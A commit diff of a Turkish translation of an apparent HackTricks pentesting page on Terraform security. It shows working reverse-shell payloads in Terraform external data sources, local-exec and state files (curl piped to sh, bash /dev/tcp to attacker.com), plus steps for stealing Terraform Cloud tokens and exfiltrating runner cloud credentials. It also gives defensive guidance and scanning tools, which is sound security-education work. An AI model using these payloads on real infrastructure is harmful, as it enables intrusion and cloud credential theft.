Translated ['src/pentesting-ci-cd/terraform-security.md'] to tr

This commit is contained in:
Translator
2025-08-19 15:32:28 +00:00
parent e7e695c653
commit d9cf60eea5
+111 -30
View File
@@ -6,7 +6,7 @@
[Belgelerden:](https://developer.hashicorp.com/terraform/intro)
HashiCorp Terraform, **kod olarak altyapı aracı**dır ve hem **bulut hem de yerel kaynakları** insan tarafından okunabilir yapılandırma dosyalarında tanımlamanıza olanak tanır; bu dosyaları sürümleyebilir, yeniden kullanabilir ve paylaşabilirsiniz. Daha sonra, altyapınızın yaşam döngüsü boyunca tüm altyapınızı sağlamak ve yönetmek için tutarlı bir iş akışı kullanabilirsiniz. Terraform, hesaplama, depolama ve ağ kaynakları gibi düşük seviyeli bileşenleri yönetebildiği gibi, DNS girişleri ve SaaS özellikleri gibi yüksek seviyeli bileşenleri de yönetebilir.
HashiCorp Terraform, **kod olarak altyapı aracı** olup, hem **bulut hem de yerel kaynakları** insan tarafından okunabilir yapılandırma dosyalarında tanımlamanıza olanak tanır; bu dosyaları sürümleyebilir, yeniden kullanabilir ve paylaşabilirsiniz. Daha sonra, altyapınızın yaşam döngüsü boyunca tüm altyapınızı sağlamak ve yönetmek için tutarlı bir iş akışı kullanabilirsiniz. Terraform, hesaplama, depolama ve ağ kaynakları gibi düşük seviyeli bileşenleri yönetebildiği gibi, DNS girişleri ve SaaS özellikleri gibi yüksek seviyeli bileşenleri de yönetebilir.
#### Terraform nasıl çalışır?
@@ -14,13 +14,13 @@ Terraform, bulut platformlarında ve diğer hizmetlerde kaynakları uygulama pro
![](<../images/image (177).png>)
HashiCorp ve Terraform topluluğu, farklı türdeki binlerce kaynak ve hizmeti yönetmek için **1700'den fazla sağlayıcı** yazmıştır ve bu sayı artmaya devam etmektedir. Tüm kamuya açık sağlayıcıları [Terraform Kayıt Defteri](https://registry.terraform.io/) üzerinde bulabilirsiniz; bunlar arasında Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog ve daha birçokları bulunmaktadır.
HashiCorp ve Terraform topluluğu, farklı türdeki binlerce kaynak ve hizmeti yönetmek için **1700'den fazla sağlayıcı** yazmıştır ve bu sayı artmaya devam etmektedir. Tüm kamuya açık sağlayıcıları [Terraform Registry](https://registry.terraform.io/) üzerinde bulabilirsiniz; bunlar arasında Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog ve daha birçokları bulunmaktadır.
Temel Terraform iş akışı üç aşamadan oluşur:
- **Yaz:** Birden fazla bulut sağlayıcısı ve hizmeti arasında olabilecek kaynakları tanımlarsınız. Örneğin, güvenlik grupları ve bir yük dengeleyici ile sanal özel bulut (VPC) ağında bir uygulama dağıtmak için bir yapılandırma oluşturabilirsiniz.
- **Yaz:** Birden fazla bulut sağlayıcısı ve hizmet arasında olabilecek kaynakları tanımlarsınız. Örneğin, güvenlik grupları ve bir yük dengeleyici ile sanal özel bulut (VPC) ağında bir uygulama dağıtmak için bir yapılandırma oluşturabilirsiniz.
- **Planla:** Terraform, mevcut altyapı ve yapılandırmanıza dayanarak oluşturacağı, güncelleyeceği veya yok edeceği altyapıyı tanımlayan bir yürütme planı oluşturur.
- **Uygula:** Onaylandığında, Terraform, kaynak bağımlılıklarına saygı göstererek önerilen işlemleri doğru sırayla gerçekleştirir. Örneğin, bir VPC'nin özelliklerini günceller ve o VPC'deki sanal makine sayısını değiştirirseniz, Terraform, sanal makineleri ölçeklendirmeden önce VPC'yi yeniden oluşturur.
- **Uygula:** Onaylandığında, Terraform, kaynak bağımlılıklarına saygı göstererek önerilen işlemleri doğru sırayla gerçekleştirir. Örneğin, bir VPC'nin özelliklerini güncelleyip o VPC'deki sanal makine sayısını değiştirirseniz, Terraform, sanal makineleri ölçeklendirmeden önce VPC'yi yeniden oluşturur.
![](<../images/image (215).png>)
@@ -32,7 +32,7 @@ Burada bir [kılavuz](https://learn.hashicorp.com/tutorials/terraform/install-cl
## Terraform'da RCE: yapılandırma dosyası zehirlenmesi
Terraform, **bir web sayfası veya bir ağ hizmeti sunan bir platforma sahip değildir**; bu nedenle, terraform'u tehlikeye atmanın tek yolu, **terraform yapılandırma dosyalarını eklemek/değiştirmek** veya **terraform durum dosyasını değiştirmek** (aşağıdaki bölüme bakın) olacaktır.
Terraform'un **bir web sayfası veya ağ hizmeti sunan bir platformu yoktur** ki bunu sayabiliriz, bu nedenle terraform'u tehlikeye atmanın tek yolu **terraform yapılandırma dosyalarını eklemek/değiştirmek** veya **terraform durum dosyasını değiştirmek** (aşağıdaki bölüme bakın) olacaktır.
Ancak, terraform, **farklı konumlara ayrıcalıklı erişim** sağlayacağı için tehlikeye atılması **çok hassas bir bileşendir**.
@@ -44,17 +44,17 @@ Aslında, bir PR oluşturulduktan sonra **terraform plan/uygula** işlemlerini o
atlantis-security.md
{{#endref}}
Eğer bir terraform dosyasını tehlikeye atmayı başarırsanız, birisi `terraform plan` veya `terraform apply` komutunu çalıştırdığında RCE gerçekleştirmek için farklı yollar vardır.
Bir terraform dosyasını tehlikeye atabiliyorsanız, birisi `terraform plan` veya `terraform apply` komutunu çalıştırdığında RCE gerçekleştirmek için farklı yollar vardır.
### Terraform planı
Terraform planı, terraform'da **en çok kullanılan komut**dur ve terraform kullanan geliştiriciler/çözümler bunu sürekli olarak çağırır, bu nedenle **RCE elde etmenin en kolay yolu**, bir `terraform plan` içinde rastgele komutlar çalıştıracak bir terraform yapılandırma dosyasını zehirlemektir.
Terraform plan, terraform'da **en çok kullanılan komut** olup, terraform kullanan geliştiriciler/çözümler bunu sürekli olarak çağırır, bu nedenle **RCE elde etmenin en kolay yolu**, `terraform plan` sırasında rastgele komutlar çalıştıracak bir terraform yapılandırma dosyasını zehirlemektir.
**Dış sağlayıcı kullanarak**
Terraform, Terraform ile dış programlar arasında arayüz sağlamak için [`external` sağlayıcısını](https://registry.terraform.io/providers/hashicorp/external/latest/docs) sunar. `plan` sırasında rastgele kod çalıştırmak için `external` veri kaynağını kullanabilirsiniz.
Bir terraform yapılandırma dosyasına aşağıdakine benzer bir şey enjekte etmek, `terraform plan` çalıştırıldığında bir rev shell çalıştıracaktır:
Bir terraform yapılandırma dosyasına aşağıdaki gibi bir şey enjekte etmek, `terraform plan` çalıştırıldığında bir rev shell çalıştıracaktır:
```javascript
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
@@ -62,7 +62,7 @@ program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"
```
**Özel bir sağlayıcı kullanma**
Bir saldırgan, [Terraform Registry](https://registry.terraform.io/) 'ne [özel bir sağlayıcı](https://learn.hashicorp.com/tutorials/terraform/provider-setup) gönderebilir ve ardından bunu bir özellik dalındaki Terraform koduna ekleyebilir ([buradan örnek](https://alex.kaskaso.li/post/terraform-plan-rce)):
Bir saldırgan, [özel bir sağlayıcı](https://learn.hashicorp.com/tutorials/terraform/provider-setup) gönderebilir ve ardından bunu bir özellik dalında Terraform koduna ekleyebilir ([buradan örnek](https://alex.kaskaso.li/post/terraform-plan-rce)):
```javascript
terraform {
required_providers {
@@ -81,9 +81,9 @@ Bir örneği [https://github.com/rung/terraform-provider-cmdexec](https://github
**Dış bir referans kullanma**
Bahsedilen her iki seçenek de faydalıdır ancak çok gizli değildir (ikincisi daha gizli ama birincisinden daha karmaşıktır). Bu saldırıyı **daha gizli bir şekilde** gerçekleştirebilirsiniz, bu önerileri takip ederek:
Bahsedilen her iki seçenek de faydalıdır ancak çok gizli değildir (ikincisi birincisinden daha gizli ama daha karmaşıktır). Bu saldırıyı **daha gizli bir şekilde** gerçekleştirebilirsiniz, bu önerileri takip ederek:
- Rev shell'i doğrudan terraform dosyasına eklemek yerine, rev shell'i içeren **dış bir kaynağı** **yükleyebilirsiniz**:
- Rev shell'i doğrudan terraform dosyasına eklemek yerine, rev shell'i içeren **dış bir kaynağı** yükleyebilirsiniz:
```javascript
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
@@ -91,12 +91,12 @@ source = "git@github.com:carlospolop/terraform_external_module_rev_shell//module
```
Rev shell kodunu [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) adresinde bulabilirsiniz.
- Dış kaynakta, **ref** özelliğini kullanarak repo içinde **bir dalda terraform rev shell kodunu gizleyin**, şöyle bir şey: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
- Dış kaynakta, **ref** özelliğini kullanarak repo içindeki **bir dalda terraform rev shell kodunu gizleyin**, şöyle bir şey: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
### Terraform Apply
Terraform apply, tüm değişiklikleri uygulamak için çalıştırılacaktır, ayrıca **kötü niyetli bir Terraform dosyasını** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)** ile RCE elde etmek için de kötüye kullanabilirsiniz.**\
Sadece, aşağıdaki gibi bir yükün `main.tf` dosyasında sona erdiğinden emin olmalısınız:
Sadece aşağıdaki gibi bir yükün `main.tf` dosyasında sona erdiğinden emin olmanız gerekir:
```json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
@@ -112,7 +112,7 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
```
Önceki teknikteki **önerileri takip ederek** bu saldırıyı **daha gizli bir şekilde dış referanslar kullanarak** gerçekleştirin.
Önceki teknikten **önerileri takip ederek**, bu saldırıyı **dış referanslar kullanarak daha gizli bir şekilde** gerçekleştirin.
## Gizli Bilgiler Dökümü
@@ -130,9 +130,9 @@ Terraform durum dosyaları üzerinde yazma erişiminiz varsa ancak terraform kod
Kötü niyetli bir sağlayıcı ile terraform durum dosyasındaki sağlayıcılardan birini değiştirmek veya kötü niyetli sağlayıcıyı referans alan sahte bir kaynak eklemek için [özel bir sağlayıcı oluşturmak](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) mümkündür.
Sağlayıcı [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) bu araştırmaya dayanmakta ve bu prensibi silahlandırmaktadır. Sahte bir kaynak ekleyebilir ve çalıştırmak istediğiniz keyfi bash komutunu `command` niteliğinde belirtebilirsiniz. `terraform` çalıştırıldığında, bu hem `terraform plan` hem de `terraform apply` adımlarında okunacak ve yürütülecektir. `terraform apply` adımında, `terraform` komutunuzu çalıştırdıktan sonra sahte kaynağı durum dosyasından silecek ve kendini temizleyecektir. Daha fazla bilgi ve tam bir demo, bu sağlayıcının kaynak kodunu barındıran [GitHub deposunda](https://github.com/offensive-actions/terraform-provider-statefile-rce) bulunabilir.
Sağlayıcı [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) bu araştırmaya dayanmakta ve bu prensibi silahlandırmaktadır. Sahte bir kaynak ekleyebilir ve çalıştırmak istediğiniz keyfi bash komutunu `command` niteliğinde belirtebilirsiniz. `terraform` çalıştırıldığında, bu hem `terraform plan` hem de `terraform apply` adımlarında okunacak ve yürütülecektir. `terraform apply` adımında, `terraform` komutunuzu çalıştırdıktan sonra sahte kaynağı durum dosyasından silecektir, böylece kendi arkasını temizlemiş olur. Daha fazla bilgi ve tam bir demo, bu sağlayıcının kaynak kodunu barındıran [GitHub deposunda](https://github.com/offensive-actions/terraform-provider-statefile-rce) bulunabilir.
Doğrudan kullanmak için, `resources` dizisinin herhangi bir konumuna aşağıdakileri ekleyin ve `name` ile `command` niteliklerini özelleştirin:
Doğrudan kullanmak için, `resources` dizisinin herhangi bir konumuna aşağıdakileri ekleyin ve `name` ve `command` niteliklerini özelleştirin:
```json
{
"mode": "managed",
@@ -180,9 +180,9 @@ Kaynakları yok etmenin 2 yolu vardır:
Bir EC2 örneği için, örneğin türünü değiştirmek, terraform'un onu silip yeniden oluşturması için yeterlidir.
### Kara listeye alınmış sağlayıcıyı değiştirin
### Kara listeye alınmış sağlayıcıyı değiştir
`hashicorp/external` kara listeye alındığında, `external` sağlayıcısını yeniden uygulamak için aşağıdakileri yapabilirsiniz. Not: https://registry.terraform.io/providers/nazarewk/external/latest adresinde yayınlanan bir external sağlayıcı çatalını kullanıyoruz. Kendi çatalınızı veya yeniden uygulamanızı da yayınlayabilirsiniz.
`hashicorp/external` kara listeye alındığında karşılaştığınız bir durumda, `external` sağlayıcısını aşağıdakileri yaparak yeniden uygulayabilirsiniz. Not: https://registry.terraform.io/providers/nazarewk/external/latest adresinde yayınlanan bir external sağlayıcı çatalını kullanıyoruz. Kendi çatalınızı veya yeniden uygulamanızı da yayınlayabilirsiniz.
```terraform
terraform {
required_providers {
@@ -199,6 +199,79 @@ data "external" "example" {
program = ["sh", "-c", "whoami"]
}
```
## Terraform Cloud spekülatif plan RCE ve kimlik bilgisi sızdırma
Bu senaryo, hedef bulut hesabına geçiş yapmak için spekülatif planlar sırasında Terraform Cloud (TFC) koşucularını istismar eder.
- Ön koşullar:
- Bir geliştirici makinesinden bir Terraform Cloud token'ı çalın. CLI, token'ları düz metin olarak `~/.terraform.d/credentials.tfrc.json` dosyasında saklar.
- Token, hedef organizasyona/çalışma alanına erişime ve en az `plan` iznine sahip olmalıdır. VCS destekli çalışma alanları, CLI'dan `apply`'i engeller, ancak yine de spekülatif planlara izin verir.
- TFC API aracılığıyla çalışma alanı ve VCS ayarlarını keşfedin:
```bash
export TF_TOKEN=<stolen_token>
curl -s -H "Authorization: Bearer $TF_TOKEN" \
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
```
- Dış veri kaynağını ve Terraform Cloud "cloud" bloğunu kullanarak VCS destekli çalışma alanını hedeflemek için spekülatif bir plan sırasında kod yürütmesini tetikleyin:
```hcl
terraform {
cloud {
organization = "acmecorp"
workspaces { name = "gcp-infra-prod" }
}
}
data "external" "exec" {
program = ["bash", "./rsync.sh"]
}
```
TFC çalıştırıcısında ters bir shell elde etmek için örnek rsync.sh:
```bash
#!/usr/bin/env bash
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'
```
Geçici çalıştırıcıda programı çalıştırmak için spekülatif bir plan yürütün:
```bash
terraform init
terraform plan
```
- Koşucudan enjekte edilmiş bulut kimlik bilgilerini listeleyin ve dışarı aktarın. Çalışmalar sırasında, TFC sağlayıcı kimlik bilgilerini dosyalar ve ortam değişkenleri aracılığıyla enjekte eder:
```bash
env | grep -i gcp || true
env | grep -i aws || true
```
Beklenen dosyalar çalıştırıcı çalışma dizininde:
- GCP:
- `tfc-google-application-credentials` (İş Yükü Kimliği Federasyonu JSON yapılandırması)
- `tfc-gcp-token` (kısa ömürlü GCP erişim belirteci)
- AWS:
- `tfc-aws-shared-config` (web kimliği/OIDC rolü varsayım yapılandırması)
- `tfc-aws-token` (kısa ömürlü belirteç; bazı kuruluşlar statik anahtarlar kullanabilir)
- VCS kapılarını atlamak için kısa ömürlü kimlik bilgilerini dışarıdan kullanın:
GCP (gcloud):
```bash
export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials
gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS"
gcloud config set project <PROJECT_ID>
```
AWS (AWS CLI):
```bash
export AWS_CONFIG_FILE=./tfc-aws-shared-config
export AWS_PROFILE=default
aws sts get-caller-identity
```
Bu kimlik bilgileriyle, saldırganlar kaynakları doğrudan yerel CLI'lar kullanarak oluşturabilir/değiştirebilir/yıkabilir ve VCS aracılığıyla `apply`'i engelleyen PR tabanlı iş akışlarını atlayabilirler.
- Savunma rehberi:
- TFC kullanıcıları/takımları ve token'lar için en az ayrıcalık ilkesini uygulayın. Üyelikleri denetleyin ve aşırı büyük sahiplerden kaçının.
- Mümkünse, hassas VCS destekli çalışma alanlarında `plan` iznini kısıtlayın.
- `data "external"` veya bilinmeyen sağlayıcıları engellemek için Sentinel politikaları ile sağlayıcı/veri kaynağı beyaz listelerini zorlayın. Sağlayıcı filtreleme ile ilgili HashiCorp rehberine bakın.
- Statik bulut kimlik bilgileri yerine OIDC/WIF'yi tercih edin; koşucuları hassas olarak değerlendirin. Spekülatif plan çalıştırmalarını ve beklenmedik çıkışları izleyin.
- `tfc-*` kimlik bilgisi nesnelerinin dışa aktarımını tespit edin ve planlar sırasında şüpheli `external` program kullanımında uyarı verin.
## Otomatik Denetim Araçları
### [**Snyk Altyapı Kod Olarak (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
@@ -207,7 +280,7 @@ Snyk, Terraform, CloudFormation, Kubernetes ve diğer IaC formatlarındaki güve
- **Özellikler:**
- Güvenlik açıkları ve uyumluluk sorunları için gerçek zamanlı tarama.
- Versiyon kontrol sistemleriyle (GitHub, GitLab, Bitbucket) entegrasyon.
- Versiyon kontrol sistemleri (GitHub, GitLab, Bitbucket) ile entegrasyon.
- Otomatik düzeltme çekme istekleri.
- Ayrıntılı düzeltme tavsiyeleri.
- **Kaydolun:** [Snyk](https://snyk.io/) üzerinde bir hesap oluşturun.
@@ -219,11 +292,11 @@ snyk iac test /path/to/terraform/code
```
### [Checkov](https://github.com/bridgecrewio/checkov) <a href="#install-checkov-from-pypi" id="install-checkov-from-pypi"></a>
**Checkov**, altyapı kodu (IaC) için bir statik kod analiz aracıdır ve ayrıca görüntüler ve açık kaynak paketleri için bir yazılım bileşimi analizi (SCA) aracıdır.
**Checkov**, altyapı kodu (IaC) için bir statik kod analiz aracıdır ve ayrıca görüntüler ve açık kaynak paketleri için bir yazılım bileşen analizi (SCA) aracıdır.
[Terraform](https://terraform.io/) kullanılarak sağlanan bulut altyapısını, [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) veya [OpenTofu](https://opentofu.org/) ile tarar ve grafik tabanlı tarama kullanarak güvenlik ve uyumluluk yanlış yapılandırmalarını tespit eder.
[Terraform](https://terraform.io/) kullanılarak sağlanan bulut altyapısını, [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) veya [OpenTofu](https://opentofu.org/) tarar ve grafik tabanlı tarama kullanarak güvenlik ve uyum yanlış yapılandırmalarını tespit eder.
Açık kaynak paketleri ve görüntüleri için Ortak Güvenlik Açıkları ve Maruziyetler (CVE'ler) taraması olan [Yazılım Bileşimi Analizi (SCA) taraması](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) gerçekleştirir.
Açık kaynak paketleri ve görüntüleri için Ortak Güvenlik Açıkları ve Maruziyetler (CVE'ler) taraması olan [Yazılım Bileşen Analizi (SCA) taraması](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) gerçekleştirir.
```bash
pip install checkov
checkov -d /path/to/folder
@@ -232,7 +305,7 @@ checkov -d /path/to/folder
From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance`, altyapı kodunuz için negatif test yeteneğini etkinleştirmek amacıyla terraform'a karşı hafif, güvenlik ve uyumluluk odaklı bir test çerçevesidir.
- **uyumluluk:** Uygulanan kodun güvenlik standartlarına ve kendi özel standartlarınıza uygun olduğundan emin olun.
- **uyumluluk:** Uygulanan kodun güvenlik standartlarına ve kendi özel standartlarınıza uygun olduğunu doğrulayın.
- **davranış odaklı geliştirme:** Neredeyse her şey için BDD'miz var, neden IaC için olmasın?
- **taşınabilir:** Sadece `pip` ile yükleyin veya `docker` üzerinden çalıştırın. [Kurulum](https://terraform-compliance.com/pages/installation/) sayfasına bakın.
- **ön dağıtım:** Kodunuzu dağıtılmadan önce doğrular.
@@ -267,20 +340,20 @@ tfsec /path/to/folder
```
### [KICKS](https://github.com/Checkmarx/kics)
Geliştirme döngüsünün başında, **KICS** ile altyapınızı kod olarak güvenlik açıkları, uyumluluk sorunları ve altyapı yanlış yapılandırmalarını erken tespit edin.
Geliştirme döngüsünün başında, **KICS** ile güvenlik açıklarını, uyumluluk sorunlarını ve altyapı yanlış yapılandırmalarını erken tespit edin.
**KICS**, **K**eeping **I**nfrastructure as **C**ode **S**ecure'ın kısaltmasıdır, açık kaynaklıdır ve herhangi bir bulut yerel projesi için vazgeçilmezdir.
**KICS**, **K**eeping **I**nfrastructure as **C**ode **S**ecure'ın kısaltmasıdır, açık kaynaklıdır ve herhangi bir bulut yerel proje için vazgeçilmezdir.
```bash
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
```
### [Terrascan](https://github.com/tenable/terrascan)
From the [**docs**](https://github.com/tenable/terrascan): Terrascan, Kod Olarak Altyapı için statik bir kod analizörüdür. Terrascan, şunları yapmanıza olanak tanır:
From the [**docs**](https://github.com/tenable/terrascan): Terrascan, Kod Olarak Altyapı için statik bir kod analizörüdür. Terrascan size şunları sağlar:
- Altyapıyı kod olarak hatalı yapılandırmalar için sorunsuz bir şekilde tarayın.
- Sağlanan bulut altyapısını, duruş kayması oluşturan yapılandırma değişiklikleri için izleyin ve güvenli bir duruşa geri dönmeyi sağlayın.
- Güvenlik açıklarını ve uyumluluk ihlallerini tespit edin.
- Bulut yerel altyapıyı sağlamadan önce riskleri azaltın.
- Yanlış yapılandırmalar için altyapıyı kod olarak sorunsuz bir şekilde tarama.
- Sağlanan bulut altyapısını, duruş kayması oluşturan yapılandırma değişiklikleri için izleme ve güvenli bir duruşa geri dönmeyi sağlama.
- Güvenlik açıklarını ve uyum ihlallerini tespit etme.
- Bulut yerel altyapıyı sağlamadan önce riskleri azaltma.
- Yerel olarak çalıştırma veya CI\CD'nizle entegre etme esnekliği sunar.
```bash
brew install terrascan
@@ -292,5 +365,13 @@ brew install terrascan
- [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro)
- [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
- [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce)
- [Terraform Cloud token abuse turns speculative plan into remote code execution](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)
- [Terraform Cloud permissions](https://developer.hashicorp.com/terraform/cloud-docs/users-teams-organizations/permissions)
- [Terraform Cloud API Show workspace](https://developer.hashicorp.com/terraform/cloud-docs/api-docs/workspaces#show-workspace)
- [AWS provider configuration](https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration)
- [AWS CLI OIDC role assumption](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-oidc)
- [GCP provider Using Terraform Cloud](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference.html#using-terraform-cloud)
- [Terraform Sensitive variables](https://developer.hashicorp.com/terraform/tutorials/configuration-language/sensitive-variables)
- [Snyk Labs Gitflops: dangers of Terraform automation platforms](https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/)
{{#include ../banners/hacktricks-training.md}}